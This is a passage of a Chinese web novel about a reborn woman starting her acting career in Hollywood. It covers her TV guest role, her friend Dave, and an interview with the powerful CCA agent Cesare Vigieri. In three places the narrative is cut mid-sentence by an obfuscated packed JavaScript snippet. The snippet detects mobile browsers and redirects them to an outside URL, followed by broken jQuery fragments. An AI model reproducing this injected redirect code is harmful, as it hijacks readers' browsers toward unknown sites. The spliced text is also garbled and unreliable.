戴夫叹了口气,终于说了实话,“我恐怕你很难得到巴菲里的那个常驻角色了。” “这——”珍妮不知该说什么好了,许多复杂的思绪掠过脑际,难道……但她不愿把戴夫想得那么自私…… “你太美了。”戴夫说,打破了她的疑惑,“演技又太好,你在戏上戏下完全就是两个人。我没想到你在镜头前会是那么……那么……” 他结巴了一下,终于完整地说出来,“那么光芒四射,那么美,就像是天生的大明星,我想你就是闯进任何一家公司的试镜现场,凭借你的美貌和演技都能轻易得到角色。” 珍妮还是第一次在一天内听到这么多的夸奖,尽管她自己在演艺空间反复看片的时候,也能感受到珍妮.简年轻貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274125|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美的身体,配上玛丽莲.梦露强大的气场会是怎样的效果,但仍没想到最终结果会这么出彩,从和她配戏的盖文.艾德斯到导演,当然还有化妆师什么的,现在又是戴夫。 “噢,戴夫。”她说,不由露出微笑。 戴夫摇了摇头,看来更愧疚了,“但也正是因为如此,我不可能给你巴菲里的角色。抱歉,珍,那只是个常规角色,不应该太过出彩,而你的风采会把莎拉完全盖过。那是女主剧,女主角必须是戏里最耀眼的一个。” 他似乎意犹未尽,又补充道,“我不能为了你牺牲她——即使我愿意,而你也成功进入剧组,莎拉也会把你排挤出去的,你和她的定位存在严重冲突。” 珍妮已经知道,两人第一次约会当晚,为戴夫预定‘吃干抹净’的人就是莎拉.玛格丽特.盖拉,她和戴夫是关系不错的朋友,也是好莱坞的当红青春玉女,同样是金发美女——但她没想到自己在CIA的出色表现反而使得她失去了一份工作。 不过,这也说明戴夫的专业素养,不论如何,他还是很投入于自己演员副导演的工作中的。起码在她火力全开以后,他没被迷得神魂颠倒,反而立刻想到了自己的工作。 “我明白。”珍妮说,努力堆出笑容安慰他,“我理解的,戴夫,你是说我太优秀,对于那角色来说太过火了。” 戴夫看来稍微松了口气,他点了点头。“你该庆幸,你在CIA是一集客串,而且剧里没有定位类似的女角色,不然,她肯定会动用一切影响力,想方设法地削减你的戏份,甚至威胁编剧尽快把你干掉,让你消失。即使她不这么干,她的经纪人也会为她这么干的。” 这是很明显的暗示,如果她进入巴菲剧组,戴夫认为莎拉会这么对付她。考虑到他和莎拉十分熟悉,珍妮相信戴夫的想法是很有道理的。而且她也明白戴夫没说出口的一点——她是戴夫引荐进入剧组的,当莎拉发现珍妮的演技和美貌在对手戏中全面压制她以后,想必戴夫和她的友谊也会出现裂痕。 而相比唯一主演来说,演员副导演虽然重要,却也不是那么无可替代。 “我明白了。”她吐了口气,安慰戴夫,“放心吧,戴夫,我的目标也不是这个。” 戴夫看来相信了她的话,他好奇地问,“那你的目标是什么?” “大概就和所有女孩一样,我的梦想是成为A级制作的女主角,”珍妮耸了耸肩,尽量轻松地说,“你知道,而不是电视剧里的常规角色,所以失去这个机会虽然遗憾,但还不会让我太失望。” 她希望戴夫会笑话她太过好高骛远,告诫她饭要一口一口的吃,路要一步一步的走,告诉她巴菲的常规角色对于新人来说是很不错的机会。——但戴夫没有。 相反,他用一种很奇特的眼神望着她,缓缓地说,“对很多人来说,这是个遥不可及的梦想,珍妮,但对你来说这不是,相信我,你已经拥有了登上大荧幕的全部条件,欠缺的只是一个机会。很多人怀抱着这样的梦想来到洛杉矶,然后挣扎在温饱线上——但你不是,有些人天生就跑在快车道里,他们奔向巅峰的速度比别人快上很多,相信我,珍妮,你就是这样的人。” 珍妮不知道该夸他慧眼如炬,还是苦笑着告诉他:你当然是对的,你夸奖的是珍妮.简+玛丽莲.梦露。 最终她只是付诸一笑,“哦,戴夫,等机会来了再这么鼓励我吧。现在我只想把这一场戏演好。” 戴夫欲言又止,最终他点点头,“当然,这是最重要的……但你要小心,珍。” 他的神色严肃了起来,“在片场,嫉贤妒能的人从来都不少见。” 12. 发疯的陌生人 其实有了这份片约,珍妮起码也可以不必白天晚上连打两份工,本来服务员就是变动不定的行业,一周不去上班,顶多也就是其余的服务员多顶两个班,或者说临时找个打零工的来帮忙就是了。按照珍妮的长相和人气,约瑟夫不可能因为她请假一周就把她炒掉。 但她还是坚持上夜班,主要原因并非为了那份工资,甚至也不是为了不让约瑟夫太难做,而是…… 在第二场审讯室的戏里,盖文也有一定程度的忘词问题,搞得下戏以后已经是五点多了,珍妮卸妆换了衣服,由戴夫匆忙将她载到餐厅,已经迟到了两小时,但约瑟夫并没责怪她什么,反而告诉她,两小时的迟到没什么问题,等人少了以后还可以早走,不过相应的也就是她的基本工资被削减成了一半。 珍妮对此没什么意见,她有些错估拍戏的疲累程度了,在演艺空间里,她是感觉不到□□疲乏的。顶多只有连续入戏带来的精神疲倦,而今天虽然只拍了两场戏,但她没想到的是在等待期间也不能休息,为了保持礼服不皱,她甚至要比在餐厅服务还更累。 接下来又是六小时的轮班,到最后珍妮几乎是用意志力在支持,等到夜宵最繁忙的时段一过,她立刻和约瑟夫打招呼下了班。 戴夫一直在餐厅里等她,不管她怎么坚持都不肯走,他没让珍妮步行回家,而是开车送她到楼底下。 珍妮累得在车上就睡着了,车一停就惊醒过来。“到了?” “到了。”戴夫说,温和地看着她,“上去休息吧,明天你还得早起——我来接你一起吃早饭。” 这就是珍妮需要上夜班的原因,如果没有夜班,戴夫会带她去吃晚饭,然后一切就会顺其自然,她没有什么办法能在不伤害到戴夫的情况下阻止他告白,而她也不想现在就拒绝戴夫。 如果这是利用,她也能坦然承认。一个一无所有的女孩想要在好莱坞上位,怎么可能不做点亏心事?珍妮还算是在坚持自己的底线,她不想陪戴夫睡,不但因为她对出卖自己的肉.体没有爱好,也因为这对于戴夫的品行来说是种侮辱——如果他是那种色迷迷的制作人,明显瞄准了她的美色,她倒不介意若即若离地吊着他,给自己汲取了足够好处以后再把他一脚踹掉,也不会有任何心理负担。就因为戴夫对她是如此真诚,她才会一直回避图穷匕见的时刻,这不但是因为她需要戴夫这个朋友,也实在因为她并不情愿去伤害她。 能让她良心稍安的是她实际上还是很喜欢戴夫的——在她前夫以后,陈贞对于高富帅已经毫无迷恋了,想当年她前夫出现在电影学院时,也是身家亿万、潇洒帅气、温柔体贴的完美男人,后来事实证明,一个人的本质和他是否高富帅,实在没有太大关系。戴夫工作敬业,为人真诚,羞怯的个性之后是有些笨拙的幽默,如果不是因为她的情况如此特殊,她真的不介意和他继续往下发展。 但现在她没有这个时间,陈贞真的没这个时间,对于目标是好莱坞巅峰的女孩来说,和戴夫的关系会是极大的浪费。 珍妮此时睡眼惺忪,没有多余的精力内疚,她谢过戴夫,然后步履蹒跚地爬上四楼,进门以后没有洗澡就倒在床上睡了过去。 第二天早上,戴夫真的来接她一起去吃早饭,坐在早餐店里,闻着可口的糖油香味,看到客人的牙齿幸福地陷进甜甜圈里,还有培根配煎蛋那油汪汪、咸滋滋的味道,珍妮的胃部简直是烧灼地疼痛起来。一想到在她跟前还是长达十多小时的拍摄,以及晚上的六小时轮班,她真的有种强烈而饥.渴的欲望,想要吃上哪怕一口高糖高盐的蛋糕,不论味道多平庸,就只是要品尝那种幸福的甜味和淀粉的芬芳—— “黑咖啡,一份鸡肉沙拉,不要酱,”她最终还是只点了她的老搭配,只是在犹豫之后加了一句,“给我加半份油醋汁,谢谢。” 戴夫要了培根配煎蛋、巧克力松饼和摩卡咖啡、橙汁。珍妮瞪着他的早饭,真的、真的开始明白为什么大明星的脾气通常不好。 但她不能多吃,因为拍戏和上班的关系,她昨天压根也没锻炼,这对于肌肉来说已经是个损失,如果再吃下热量超标食物,那简直就是一场灾难。 “来一口吗?”也许是察觉到了她的表情,戴夫在松饼端上来的时候问。 拒绝这一口松饼真的比拒绝戴夫在将来的求爱还要更难得多。 珍妮闭了闭眼,万分艰难地说,“不,谢谢。” # 在剧组拍戏并不像是许多外行人想得一样,一切完全根据时间顺序拍摄,因为是室内拍摄,多数搭景的关系,CIA剧组采用的是以布景为单元的拍摄,昨天在‘晚会现场’拍了几场戏,也把审讯室拍完,今天的戏码就是在华妮塔的时尚硬照拍摄现场,拍摄时间上有跨度的几场对手戏。多数由盖文扮演的尼克和她对戏,女演员几乎不出现。 这也让珍妮松了口气:老实说,在昨天戴夫的警告过后,她还满担心有什么片场霸凌(Bully)事件的。昨天两人在拖车里的时候,戴夫明里暗里也告诉她很多片场的规矩,在这种连续剧现场,主要演员就像是太子爷、太子女,除非是得罪了高高在上的编剧和制作人,否则就是连导演都能任意Bully,更别说她一个小客串了,除非是干得不耐烦,不然即使当着所有人的面被欺负了,别人也会当作没看见,免得丢了自己的工作。 还好,CIA主要演员里只有两名女性,而且都不走美貌路线,更偏专业气质向,而和她配戏的盖文又有了感情很好的女友,更重要的是对戏下的她也不大感冒。对她性致十足的华瑞克演员加里,和她连一场对手戏都没有,而且他们拍摄期间加里也在隔壁棚拍摄绿幕戏。所以不论是来自女演员的欺负还是男演员的骚扰,都并非珍妮现在要考虑的问题。 再加上盖文昨天回去以后可能也调整了一下自己的表演方法,今天的拍摄进度要比昨天顺利很多,尼克被华妮塔迷得神魂颠倒,但又努力维持矜持、尊严,华妮塔对尼克则像是猫玩老鼠,尼克的沉迷和挣扎都让她觉得很好笑。——这种充满张力的关系,一旦被表演出来,奠定了基调,那么剩下的就只是背台词了,对这一点,两人都不会有什么问题。 到了下午,她被喊去绿幕房间开拍一些单人戏份,这对珍妮来说更加简单,再加上她换了戏服,没那么贴身,休息时候也可以随意一些,不必害怕衣服起了褶皱。所以虽然拍摄时段很满,但总体感觉却要比昨天更轻松一些,感觉自己在渐渐地适应这种氛围。——虽然演艺空间可以模拟出非常真实的片场,但模拟和现实,终究有所差距。 也是这一天,片场工作人员开始明显表露出和她做朋友的兴趣,包括艾玛.斯旺,她在吃中饭的时候特地过来和珍妮、戴夫一起坐,还拉上林奇,彼此介绍熟络了一番,又和珍妮互留了电话号码。 第三天盖文邀她参加派对,珍妮告诉他自己晚上还要在餐厅打工,没有时间,盖文很遗憾。而珍妮意识到这应该都是被看好的表现,想做艾玛.斯旺的人不少。 换句话说,他们都看好她将来在好莱坞的表现,所以才会现在投资友情。在好莱坞,关系有时比能力更重要,这几乎应该是所有圈内人的本能。 但珍妮并没有因此就沉迷于社交之中,不错,所有人都想和一个也许前途无量的女演员做朋友。但对女演员来说,能让她更进一步的朋友,才更值得投资。 毕竟只是个连续剧的一集,拍摄进行得一帆风顺,等到第五天,珍妮的戏份也基本结束,这两天她的戏份亦是很吃重,因为凶杀现场这个布景被设计了出来,她要拍摄很多凶杀场面,还有试镜时的那段对手戏,也就是尼克和华妮塔在本集中的最后一段对白也被安排到了这天。 基于化妆的考虑,拍戏是倒拍的,也就是最后一段对白被放在了第一场,盖文在开拍前就闭着眼给自己做心理建设,“你可以做到的,你绝对不会再忘词。” 珍妮都忍不住笑了,“真的有这么夸张吗?” “你自己难道没感觉?”盖文认真地说,“你上戏的时候简直换了一个人,那种气质——我不知道该怎么说,只能说,还好你在戏下完全是另一种表现。” 珍妮没回答盖文这个问题,反而插了一句,“话说回来,你是不是很喜欢玛丽莲.梦露?” 盖文有点迷糊,但还是回答道,“是啊?我是她的绝对粉丝,七年之痒我看了好多遍。虽然在现在看有些过时,但她的风采压过了一切。” 得,这就明白了,为什么独独是盖文被迷得五迷三道的,连台词都能忘,而别人顶多就觉得她演得特别好而已。珍妮说,“我也很喜欢她,所以我在戏上模仿了她的一些小动作,可能你就是因此觉得我在戏里很迷人吧。” 盖文恍然大悟,“原来是这样。” 他又问,“你确定这是你第一次上戏?以前没过表演经验?” 珍妮立刻想到了四年的表演课,演艺空间里无数次的练习…… “没有。”她坚定地说,“我真的不知道自己演得怎么样。” “你不知道自己演得怎么样,呵呵呵。”盖文好像听到了什么大笑话一样,“拜托,你难道真的不知道艾玛她们为什么对你这么热情吗?” “好吧,继续装可能有点矫情。”珍妮也耸了耸肩膀,半真半假地说,“但我真的不知道为什么,我是说,我的下一个角色还不知道在哪呢。” “有时候你得有点耐心。”盖文说,“记住我的派对邀约——一直有效,我想再过两个月,等到第一集上映以后,你的电话肯定会被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274126|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆的,到那时可别忘了我。在那以后,你肯定会有空参加派对的。” 这和珍妮的思路一样,她也觉得自己的事业转机应该在CIA201播放后出现。 眼看摄影机大概都到位,导演随时可以喊‘Action’,她忽然起了几分恶作剧的心思,在心里叫出了《和梦露的一周》,驾轻就熟地选择了角色共情。 “嘿,宝贝。”珍妮压低嗓音,眼波流转,似笑非笑地看了盖文一眼,“别以为我会这么容易就忘记你的邀约。” 盖文目瞪口呆的挫样成功地取悦了她,她解除共情,弯腰大笑起来,盖文红了脸,作势揍了珍妮一拳,“你实在是太恶劣了。” 听到场务在喊清场,随后上前打板,两人迅速调整了情绪和表情,又回到了专业的演出状态。 # 最后这场对手戏,华妮塔和尼克之间张力强劲,彼此火力全开,尼克第一次反守为攻,在华妮塔跟前抢到些许主动,令她有了少许危机感。这也是台词很多的一场戏,不过,可能是因为珍妮和盖文开的那个玩笑,他的心态反而很放松,几乎是一次就过了,反而是导演为了效果,多take了几遍。拍完以后,大家都仿佛了却一番心事,松了一大口气。 这一场之后,在一个布景里要先拍CIA小组进行调查的镜头,珍妮直到午饭之前都没事,她高兴地在人群中寻找戴夫的时候,却发现戴夫和林奇站在片场角落,正和第三人仿佛在争执什么。 她连忙拎起裙摆走过去,“伙计们,出什么事了吗?” 走近了她才发现,第三名男子是她在试妆给制片人看的那天见到的中年男人。他秃头微胖,鬓角有一块胎记很醒目,所以珍妮记得很清楚。当天他在走廊尽头看着她,从表情来看,完全被她迷住,她还被逗乐了,忍不住对他笑了一下。 呃,该不会是对她非常感兴趣,所以特别来看她拍片,打算拍完后上来搭讪,砸钱来接近她什么的吧?珍妮被自己的想法雷了一下,却也知道这不无可能,毕竟……说实话吧,她很漂亮,也很年轻,这两点在什么时候都足够招蜂引蝶。 不过就算他有这个意图,戴夫又是怎么知道的?他们三人在争论什么?该不会是戴夫想把他赶出去吧?珍妮不禁有点头痛:太好了,这就是她需要的,第一个工作就迎来片场争风吃醋。 看到她走近,第三人的声音更大了,“林奇,这女孩没有经纪人,她现在是自由身,我完全可以自己和她谈——我看不出你朋友有什么立场阻止。” 他看了珍妮一眼,又冲戴夫恶狠狠地说,“如果是为了她好的话,又有什么必要阻止!” 戴夫仿佛遭受重击,脸上居然露出痛楚之色。 “到底发生什么事?”珍妮一头雾水地问。她走到戴夫身边,“嘿,你没事吧?” 戴夫摇了摇头,露出一个沮丧的微笑,他犹豫了一下,居然主动对珍妮介绍,“珍妮,这是吉姆.戴维森。” “珍妮.简.杰弗森。”珍妮伸出手和吉姆握了一下,“我记得你,我来试妆那天我们见过。” “是的。”吉姆又瞪了戴夫一眼,他整了整西装,仿佛看来让自己尽量整洁一些,“我和你确定一遍,你还没有经纪人,是吗?” “是。”珍妮一头雾水。“请问你是?” “好,”吉姆双眼一亮,不由分说地打断了她的话头。“你现在马上和我走,切萨雷下午就要去东岸,我们只有三小时的时间。” “切萨雷?我——”珍妮有点被他的狂热劲儿吓着了,她反射性往戴夫身边靠。但林奇往前一步,揽住了她的肩膀。 “这是你的好机会,”他说,“现在没时间解释了,吉姆是可信的人,珍妮,你不知道你现在得到的是怎样的机会,我对你就一句话,抓住机会,Gogetit,懂吗?现在你和他去吧,午饭前回来就行,我会和剧组解释的。” 珍妮匆忙间回头看了看戴夫,戴夫还站在原地没动,看到她投来的眼神,他露出一个很勉强的笑意,对她点了点头。 而吉姆已经小跑着不见了踪影,过了一会,他开着一辆保时捷911来到摄影棚大门口,心急火燎地大喊,“上车吧。” 珍妮又往回看了看,林奇和戴夫已经站到一起,都对她比出快去的手势,林奇更是对她握了握拳头,示意她要加油。 她深吸一口气,拎起裙摆,穿过加州灼人的烈日,钻进跑车中。 “我们要去哪?”她问,把保险带系上。 吉姆瞥了她一眼,他显然兴奋得不得了,一旦确定珍妮已经系好安全带,便立刻发动引擎,随后才轻轻吐出几个字。 “世纪城,CCA总部。” 跑车应声箭般弹出,迅速消失在柏油路尽头。 13. 切萨雷.维杰里 CCA,CreativeArtistsAgency,创新艺人经纪公司。 不论是珍妮还是陈贞,当然都听过这个名字——CCA实在是太有名了,只要对美国演艺圈稍微有所了解,就不会没听说过它的名头。 CCA创立于1975年,总部当然是位于好莱坞比弗利山庄,它是全球当之无愧排名第一的经纪公司,占据的市场份额远远超过第二名。在美国之外,能签约CCA是一件很值得骄傲的事,被签约的明星艺人少不得都要拿出来吹嘘一番,就是美国,能成为CCA家庭中的一员也非常幸运。CCA的部门种类非常齐全,台前幕后应有尽有,投资方只要有一个想法和足够的钱,CCA就能为他拼凑出一套星光熠熠的班底,钱要是够多的话,甚至能做到从主演、导演到制片人、服装师、美术师,全都手持小金人,打造一套全金班底。当然,那资方要付出的也是天文数字了。 在听到CCA这三个字以后,珍妮立刻就明白了胖子吉姆为什么如此牛气哄哄,甚至对戴夫这个地位不算太低的演员副导演都能那么不客气了。——如果吉姆是某个大明星的经纪人,那么戴夫在他跟前简直连个屁都不算。 当然,大明星的经纪人会闲着没事跑来看她表演,这多少有点不可思议,不过在好莱坞,一切皆有可能。驰宙片场里拍摄的可不止是电视剧,更多的还是诸多大制作电影,上回导演开会的地方是片场办公楼,那里甚至会有天皇巨星常出常入,来个明星经纪人也不是没可能。既然看到她,对她感兴趣,又知道她在这里拍片,那么进来看看也不费什么事儿。 珍妮一路都没有说话,反倒是吉姆,因为过度兴奋一路都说个不停,但其中有意义的信息不多,大多数时间都在滔滔不绝地描述切萨雷的脾气有多不好,珍妮的机会有多宝贵,她在切萨雷跟前又该如何表现自己云云。 “这是你的机会。”他说,“女孩,你不明白这机会有多宝贵,你简直会一步冲天,上帝啊,这简直是天作之合——但你必须表现得完美无瑕,切萨雷是个要命的完美主义者,你要知道我带你过去也冒了风险。” 他开始出汗,衬衫下浸透了两块湿痕,古龙水也无法遮掩汗水体味,珍妮被他弄得也略微有些不安起来。她有意识地远离吉姆一些,免得他太兴奋,把汗水滴在自己身上,弄脏了戏服。 “切萨雷,”她说,“吉姆,我可不可以问问切萨雷是谁?” 都在好莱坞,CCA距离驰宙片场并不远,吉姆一个转弯急刹,把车停进了停车场内,匆匆开门下车,他捞起领带在脸上抹了一把,心急火燎地示意珍妮快步跟上,“维杰里,切萨雷.维杰里,你没听过他的名字?” “没有。”珍妮如实说。“他是意大利人?” 吉姆皱起面孔,做了个很有特色的崩溃表情,“不是,不是。” 他一边走一边打电话,“哦,拜托一定要在,拜托一定要在——娜拉!告诉我切萨雷还没走!” 接下来他就一边讲电话一边用通行证把珍妮带进了CCA办公楼里,又心急如焚地按了电梯,珍妮甚至没来得及欣赏CCA的装潢,就被带到了电梯里。吉姆直接按了一个很高的楼层数——距离顶楼就只有两层之遥了。 “必须和你解释一下。”在强劲的冷气中,吉姆似乎找回了一点矜持和理智,他掏出手帕,一边擦汗一边快速说,“既然你不知道切萨雷,那我想你也不会知道CCA内部的规矩,我们不设头衔,只有职位,没有专属会议室、专属办公室,采用扁平化管理,对外声称所有经纪人一律是一视同仁,没有资历之分。” 他干净利落地说,“这当然都是一些对外宣传的屁话,只要有能力和资历的区别,就一定有地位的区别,只不过在CCA,地位体现在楼层。地位越高,楼层数越高,我们要去的楼层是CCA资深经纪人专属的办公楼层,在那里,只有很少人没有自己的办公室。” 他喘了口气,又说,“所以你明白,为什么这个机会这么宝贵了?即使在CCA内部,资源也是有限的,竞争也是激烈的。而切萨雷是45层楼的人,一朝45,永远都会是45。女孩——” “珍妮。”珍妮说,她皱起眉,若有所思地打量着吉姆。“我还是有很多疑问。” “你可以等过后再问,切萨雷在一小时内要出发去机场,现在什么也来不及说了,我只能告诉你,你最好用尽所有努力抓住这个机会。”吉姆说。 电梯发出叮的一声,在45楼停了下来,吉姆像旋风一样席卷而出,珍妮的步伐却还是不紧不慢,吉姆回过头来对她怒目而视,但碍于格子间办公区投来的兴味眼神,他没有发出声音。 “如果你希望我给他留下好印象。”珍妮就事论事地指出,“那么我就只能保持我的速度。” “Yeah,yeah。”吉姆猛地一窒,随后喃喃地说,“走吧,切萨雷的办公室在这边。” 珍妮于是跟着吉姆走到拐角处,吉姆敲了敲门,和门口坐着的一名助理女孩悄声细语了几句,便上前敲了敲门。他的动作一跃从刚才的慌里慌张,变为小心翼翼,仿佛屋内沉睡着一头狮子,过大的动作会惊醒它的安眠。 “进来(In)。”屋内传来简洁的说话声。 吉姆推开门,示意珍妮和他一道进入。 珍妮走进屋里。 下一刻,她罕见地大吃一惊。 # 切萨雷.维杰里是个欧洲色彩极为浓厚的姓名,维杰里是个法国姓——谢天谢地,珍妮还算是个不错的学生,在一些她感兴趣的领域还多少有些渊博——而切萨雷更是南欧一带常见的名字,考虑到切萨雷.维杰里的身份地位,珍妮预期看到的是一个南欧血统、身材中等、肤色微黑的中年人,因为常年从事经纪人事业,他应该气质和蔼笑口常开。 ——切萨雷.维杰里颠覆了她的每一个猜想。 他身材高大,肤色苍白,蓝眼、高鼻、深目,纯金色的短发以发蜡全梳往脑后——虽然发根颜色微微发深,但那是金发碧眼儿的自然现象,在成人后,金发者的发色并不均匀,发梢金色,发根微棕很是常见——和珍妮一样,他是个地地道道的日耳曼男人。 而且令人窒息的英俊。 陈贞不是没见过俊男美女,这是21世纪,媒体异常发达,各种美通过电视电影的传递,时时刻刻对观众狂轰滥炸,即使不说这些透过屏幕看到的美人,以前的陈贞三不五时就会飞到米兰、纽约看秀,更经常受邀参加国内外的时尚圈晚宴——她真的见过很多要靠好看来混饭吃的男男女女。 他们没有人比得上切萨雷.维杰里。珍妮想:即使这男人是个白痴,连台词也不会说,只要他肯走上T台,以他的身材和美貌,不出半年也立刻就能崭露头角。 然后她立刻开始好奇了:他是如此好看,如此年轻,为什么还要藏在幕后,而不是走到幕前赚取天文数字的财富?经纪人虽然收入不菲,但终究不可能比他们代理的明星要赚得更多。 该不会是她误会了,其实切萨雷.维杰里另有其人,这只是他代理的另一个客户? 但珍妮的猜想立刻被吉姆打破了,他上前几步,很自然地——同时也很紧张地对切萨雷开始推销珍妮,“你绝对得看看这女孩,切萨,她是我找到最好的接任,你看她有多漂亮,而这还不是她的全部——这女孩能演戏!相信我,Man。” 他感慨地摇了摇头,看了珍妮一眼,语调如痴如醉,颇有说服力,“她是我见过最不像新人的新人,切萨,她在镜头前简直就是——God,我不知道该怎么描述——” 切萨雷伸手拧了拧鼻梁,他转向珍妮。 珍妮有种被当头倒了一盆冷水的感觉,切萨雷的目光——说真的,绝对有这么冷。他之所以令人窒息,并不仅仅是因为他的英俊,也实在因为他浑身上下仿佛天生自带的冷漠,这种冷漠就像是贵族血统,声势浩大、先声夺人,珍妮相信任何人只要被他看上一眼,都会油然生出一股强烈的局促,感到自己从头到脚都一无是处,毫不得体。 就连她也不例外,被切萨雷望着,让她想到自己在烈日下奔走了很久,也许脸上的妆花了一些,她穿的还是不完全合身的戏服,背后带了几个夹子,让她想到自己银行卡里只有三千多美元而这一次机会以后天知道何时才有下一个角色。在切萨雷的目光里,她有蜷缩起来的冲动,自然而然,叫人压根兴不起抗拒的念头。 然而珍妮.简并不只是珍妮.简,她同时还是陈贞,地产商业王国的前少夫人陈贞。 在切萨雷的重压下,她不但没有蜷缩,反而还直了直脊背,冲他漫不经心地微微一笑。 切萨雷的眼眯了起来。 “长相不错,可以打9 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274127|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0分。”他突然开口说,还维持着和珍妮的对视,“但气质平淡,你拿什么说服我她有成为巨星的潜质?我早告诉过你,看人要用心。” 吉姆完全没反应过来,也就错过了辩解的机会,切萨雷转身回到办公桌前,继续收拾文件,“长得漂亮,可以,去拍杂志封面吧,她做模特都够格。演技不错,也挺好,这样的长相加上不错的演技,她可以做个连续剧的女主角,甚至在电影圈里也不是没有前途,但我们在谈的是巨星,吉姆,你知道我们在谈什么吗?我知道你一向花心,为了泡妞什么贱招都使,但拉着人直闯我的办公室?” 他的语气出现一点停顿,然后继续往下说,声调毫无变化,只是——只是珍妮意识到原来切萨雷.维杰里还可以变得更加冷漠,更加高不可攀。“这也算是你的新下限了。” 切萨雷整理好桌上的文件,转身面对吉姆。“你有两分钟的时间说服我不炒掉你,现在开始计时。” “切萨,我知道,我知道你的意思。”吉姆早已憋得汗流满面,一旦找到机会,便立刻滔滔不绝地诉说起来。“没错,我一开始的确只是想玩玩,她在驰宙试妆的那天我就注意到她了。听说她这周进组拍摄,我就晃过去看看,想用——你知道,就是那招——‘Hi,我是CCA的经纪人’——不论如何,我过去了,但我一到那里,上帝啊,我一看到她在镜头前的表现——我就知道那不是我能染指的女人,切萨,你应该看看,你会明白的,她简直就是玛丽莲.梦露再世,不,她比梦露更好,更年轻,更美艳,但是那种气质,那种统领全场的感觉——” 切萨雷的眼神又移到了珍妮脸上,将她上下打量,他冷硬的面孔上略微出现一丝波动。 “带子(Tape)。”他说。珍妮发觉他惜字如金。 “呃——呃——”吉姆忽然尴尬地结巴起来,他应该是忽然发现了他的疏忽。“我——呃——我知道你马上就要去纽约,然后转道巴黎,两个月内都不会回来,这女孩出演的是CIA新季的第一集,我——呃——他们还没剪出成片——” 切萨雷闭上眼,又捏了捏鼻梁。 “现在是10点43分,”他看了看手表,“11点30分以前我要看到她的表演录像带,你有47分钟。” 吉姆来回看了看珍妮和切萨雷,珍妮对他挥了挥手,他仿佛受到什么指令一般,忽然转过身,大力推开门疯跑了出去。门被他大力推开,在门框上来回晃动,珍妮能听到他的脚步声激起一阵阵的惊呼。 切萨雷没有和她一起目送吉姆,当珍妮挪回眼神时,发觉他已经来到办公桌后方,拉开抽屉拿出了一瓶空气清新剂。 接下来他走到吉姆刚才站立的位置往空中喷了好几遍,又一丝不苟地将清新剂放好,这才冲珍妮比了个手势。“坐。” 依然是单字,简洁明了的‘sit’,没有please,也不是相对委婉的‘haveaseat’。切萨雷一直掌握着场上的主动权,而且看来似乎并不介意滥用它。 而珍妮决定,继续这种局面对她相当不利。这不仅仅是因为她不喜欢自己处在和吉姆一样卑躬屈膝的位置,也因为目前看来,切萨雷对她并没有太多兴趣。 即使她对切萨雷的身份和经历还有相当的迷惑,但戴夫、林奇和吉姆的表现,都一致说明了一点,那就是吉姆一直在强调的并没有错,切萨雷是个大人物,而这是珍妮的大好机会。 她又怎么可能会让它就此错过? “现在是10点44分。”她说,坐入办公桌对面的会客椅,双腿交叠,一手优雅地搁上扶手,“距离12点30分还有1小时47分钟。维杰里先生,很高兴认识你。” 她几乎是熟极而流地切换出了玛丽莲.梦露模式,压低声音,交换了双腿的位置,唇边微露出从容笑意,紧盯切萨雷.维杰里,几乎是嘲笑般地说,“现在,你有1小时47分钟来说服我,让我相信你是个很好的经纪人。” 切萨雷的态度纹丝不动,依然那样冰冷,仅仅是鼻尖起了轻微的波纹,眼神也有几不可见的闪动。然而珍妮知道,她已经成功地燃起了他的兴趣。 “很好。”切萨雷说,“你已经成功地吸引了我的注意力,加分。” 他抽出一个空白文件夹,啪地打开,端出冷冰冰的礼数,象征性地征询,“现在,可以正式开始了吗?” 14. 面试 “名字。” “珍妮.简.杰弗森。” “年龄。” “20岁。” “学历。” “高中。” 切萨雷从文件夹里抬起头看了她一眼,珍妮说,“怎么?我是孤儿,SAT分数也烂透了,比起野鸡大学,还不如早点到好莱坞来,起码现在,年龄还算是我的优势。” “你的亲人死于什么事故?”切萨雷好像没听到珍妮之后的解释。珍妮发现他这个人无时无刻都在通过各种手段力争掌握主动,无视她的话,也许就是为了打断她的节奏。 但这毕竟是一场面试,而不是一次角力,恰当的尖锐可以引起切萨雷的兴趣,一味的针对则可能随时过火。 “我父亲是联邦重刑犯,记事起就没怎么见过他,在阿拉巴马州立监狱,129年刑期,不得缓刑。”她驯顺地说,并不因介绍家世而难堪,虽然拥有珍妮.简的记忆,但陈贞没有继承她的情感,“母亲在我童年离家出走,我和祖母一起长到十岁多一点,她去世了,银行收回了房子,我被送往社会福利机构,在寄养家庭里长大到十八岁,十九岁高中毕业——因为各种原因,我入学比别的孩子晚一年,然后我就到了好莱坞。” 